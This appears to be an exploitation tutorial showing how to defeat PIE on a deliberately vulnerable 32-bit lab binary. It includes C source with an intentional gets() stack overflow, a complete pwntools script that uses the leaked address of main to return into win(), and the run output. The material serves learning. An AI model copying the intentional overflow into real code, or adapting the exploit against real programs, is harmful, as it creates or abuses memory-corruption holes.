PIE Bypass with Given Leak

Exploiting PIE with a given leak

The Source

#include <stdio.h>

int main() {
    vuln();

    return 0;
}

void vuln() {
    char buffer[20];

    printf("Main Function is at: %lx\n", main);

    gets(buffer);
}

void win() {
    puts("PIE bypassed! Great job :D");
}

Pretty simple - we print the address of main, which we can read and calculate the base address from. Then, using this, we can calculate the address of win() itself.

Analysis

Let's just run the script to make sure it's the right one :D

$ ./vuln-32 
Main Function is at: 0x5655d1b9

Yup, and as we expected, it prints the location of main.

Exploitation

First, let's set up the script. We create an ELF object, which becomes very useful later on, and start the process.

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

Now we want to take in the main function location. To do this we can simply receive up until it (and do nothing with that) and then read it.

p.recvuntil('at: ')
main = int(p.recvline(), 16)

Since we received the entire line except for the address, only the address will come up with p.recvline().

Now we'll use the ELF object we created earlier and set its base address. The sym dictionary returns the offsets of the functions from binary base until the base address is set, after which it returns the absolute address in memory.

elf.address = main - elf.sym['main']

In this case, elf.sym['main'] will return 0x11b9; if we ran it again, it would return 0x11b9 + the base address. So, essentially, we're subtracting the offset of main from the address we leaked to get the base of the binary.

Now we know the base we can just call win().

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

print(p.clean().decode('latin-1'))

By this point, I assume you know how to find the padding length and other stuff we've been mentioning for a while, so I won't be showing you every step of that.

And does it work?

[*] 'vuln-32'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process 'vuln-32': pid 4617
PIE bypassed! Great job :D

Awesome!

Final Exploit

from pwn import *

elf = context.binary = ELF('./vuln-32')
p = process()

p.recvuntil('at: ')
main = int(p.recvline(), 16)

elf.address = main - elf.sym['main']

payload = b'A' * 32
payload += p32(elf.sym['win'])

p.sendline(payload)

print(p.clean().decode('latin-1'))

Summary

From the leak address of main, we were able to calculate the base address of the binary. From this we could then calculate the address of win and call it.

And one thing I would like to point out is how simple this exploit is. Look - it's 10 lines of code, at least half of which is scaffolding and setup.

64-bit

Try this for yourself first, then feel free to check the solution. Same source, same challenge.

Last updated